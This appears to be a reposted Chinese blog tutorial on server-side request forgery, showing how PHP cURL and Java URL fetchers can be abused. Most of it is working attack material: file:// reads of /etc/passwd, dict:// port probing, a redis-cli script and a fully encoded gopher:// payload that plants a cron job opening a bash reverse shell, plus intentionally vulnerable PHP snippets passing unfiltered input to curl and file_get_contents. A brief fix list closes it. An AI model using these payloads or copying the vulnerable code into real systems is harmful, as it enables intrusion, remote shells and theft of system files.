1. 漏洞简介SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。 2. 漏洞利用自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。 2.1 本地利用拿PHP常出现问题的cURL举例。 可以看到cURL支持大量的协议,别入file,dict,gopher,http - ➜ pentest curl -V
- curl 7.43.0 (x86_64-apple-darwin15.0) libcurl/7.43.0 SecureTransport zlib/1.2.5
- Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
- Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz UnixSockets
复制代码本地利用姿势: - # 利用file协议查看文件
- curl -v 'file:///etc/passwd'
- # 利用dict探测端口
- curl -v 'dict://127.0.0.1:22'
- curl -v 'dict://127.0.0.1:6379/info'
- # 利用gopher协议反弹shell
- curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
复制代码漏洞代码ssrf.php(未做任何SSRF防御) - function curl($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_exec($ch);
- curl_close($ch);
- }
- $url = $_GET['url'];
- curl($url);
复制代码远程利用方式: - # 利用file协议任意文件读取
- curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
- # 利用dict协议查看端口
- curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
- # 利用gopher协议反弹shell
- curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
复制代码漏洞代码ssrf2.php - 限制协议为HTTP、HTTPS
- 设置跳转重定向为True(默认不跳转)
- <?php
- function curl($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
- // 限制为HTTPS、HTTP协议
- curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_exec($ch);
- curl_close($ch);
- }
- $url = $_GET['url'];
- curl($url);
- ?>
复制代码 此时,再使用dict协议已经不成功。
- http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
复制代码302跳转没测试成功。下次再测试下…… 3. 如何转换成gopher协议我刚一开始看到这个协议,有点一脸懵逼,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。 3.1 redis反弹shell先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。 - echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
- redis-cli -h $1 -p $2 config set dir /var/spool/cron/
- redis-cli -h $1 -p $2 config set dbfilename root
- redis-cli -h $1 -p $2 save
- redis-cli -h $1 -p $2 quit
复制代码该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个\n是因为echo重定向最后会自带一个换行符。 执行脚本命令: - bash shell.sh 127.0.0.1 6379
复制代码执行完脚本后: - 127.0.0.1:6379> keys *
- 1) "name"
- 2) "1"
- 127.0.0.1:6379> get name
- "joychou"
- 127.0.0.1:6379> get 1
- "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"
复制代码想抓tcp数据包,我们可以使用socat进行端口转发。
转发命令如下: - socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
复制代码意思是将本地的4444端口转发到本地的6379端口。
即,有人访问该服务器的4444端口,访问的其实是该服务器的6379 redis服务。 所以,我们执行以下命令就可以了: - bash shell.sh 127.0.0.1 4444
复制代码返回如下: - root@pentest:~/joychou/redis# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
- > 2017/03/28 17:18:50.701362 length=83 from=0 to=82
- *3\r
- $3\r
- set\r
- $1\r
- 1\r
- $56\r
- */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
- \r
- < 2017/03/28 17:18:50.702358 length=5 from=0 to=4
- +OK\r
- > 2017/03/28 17:18:50.706954 length=57 from=0 to=56
- *4\r
- $6\r
- config\r
- $3\r
- set\r
- $3\r
- dir\r
- $16\r
- /var/spool/cron/\r
- < 2017/03/28 17:18:50.707996 length=5 from=0 to=4
- +OK\r
- > 2017/03/28 17:18:50.713159 length=52 from=0 to=51
- *4\r
- $6\r
- config\r
- $3\r
- set\r
- $10\r
- dbfilename\r
- $4\r
- root\r
- < 2017/03/28 17:18:50.713982 length=5 from=0 to=4
- +OK\r
- > 2017/03/28 17:18:50.718505 length=14 from=0 to=13
- *1\r
- $4\r
- save\r
- < 2017/03/28 17:18:50.727510 length=5 from=0 to=4
- +OK\r
- > 2017/03/28 17:18:50.730592 length=14 from=0 to=13
- *1\r
- $4\r
- quit\r
- < 2017/03/28 17:18:50.730839 length=5 from=0 to=4
- +OK\r
复制代码gopher转换规则如下: - 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
- 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a
- 空白行替换为%0a
替换后的结果为: - *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
复制代码gopher协议使用方法:gopher://ip:port/_payload 接着将下面payload进行rawurlencode,可以使用php的该函数。 - gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
复制代码最后的URL攻击payload为: - curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
复制代码 4. 漏洞代码4.1 php
- // 漏洞代码1
- function curl($url){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_exec($ch);
- curl_close($ch);
- }
- $url = $_GET['url'];
- curl($url);
- // 漏洞代码2
- $url = $_GET['url'];;
- echo file_get_contents($url);
- // 漏洞代码3
- function GetFile($host,$port,$link)
- {
- $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
- if (!$fp)
- {
- echo "$errstr (error number $errno) \n";
- }
- else
- {
- $out = "GET $link HTTP/1.1\r\n";
- $out .= "Host: $host\r\n";
- $out .= "Connection: Close\r\n\r\n";
- $out .= "\r\n";
- fwrite($fp, $out);
- $contents='';
- while (!feof($fp))
- {
- $contents.= fgets($fp, 1024);
- }
- fclose($fp);
- return $contents;
- }
- }
复制代码 4.2 javaorg.apache.http.client.methods.HttpGet - public static void ssrfhttpget()
- {
- String url = "http://127.0.0.1:8000";
- CloseableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet(url);
- HttpResponse httpResponse;
- try {
- httpResponse = client.execute(httpGet);
- System.out.println("\nSending 'GET' request to URL : " + url);
- System.out.println("Response Code : " +
- httpResponse.getStatusLine().getStatusCode());
- BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
- StringBuffer result = new StringBuffer();
- String line = "";
- while ((line = rd.readLine()) != null) {
- result.append(line);
- }
- System.out.println(result.toString());
- }catch (Exception e) {
- e.printStackTrace();
- }
- }
复制代码HttpURLConnection (java.net.HttpURLConnection) - public static void ssrfurlconnection()
- {
- try {
- //String url = "dict://127.0.0.1:8080";
- String url = "file:///etc/passwd";
- URL obj = new URL(url);
- HttpURLConnection conn = (HttpURLConnection) obj.openConnection();
- conn.setReadTimeout(5000);
- conn.addRequestProperty("Accept-Language", "en-US,en;q=0.8");
- conn.addRequestProperty("User-Agent", "Mozilla");
- conn.addRequestProperty("Referer", "http://baidu.com");
- System.out.println("Request URL ... " + url);
- int status = conn.getResponseCode();
- System.out.println("Response Code ... " + status);
- if (status == HttpURLConnection.HTTP_OK) {
- BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
- String inputLine;
- StringBuffer html = new StringBuffer();
- while ((inputLine = in.readLine()) != null) {
- html.append(inputLine);
- }
- in.close();
- System.out.println("URL Content: \n" + html.toString());
- System.out.println("Done");
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
复制代码测试的过程中,java都不支持除了http、https协议的其他协议。 5. 漏洞修复- 限制协议为HTTP、HTTPS
- 禁止30x跳转
- 限制ip为内网ip
6. Referencefrom:http://joychou.org/index.php/web/phpssrf.html
|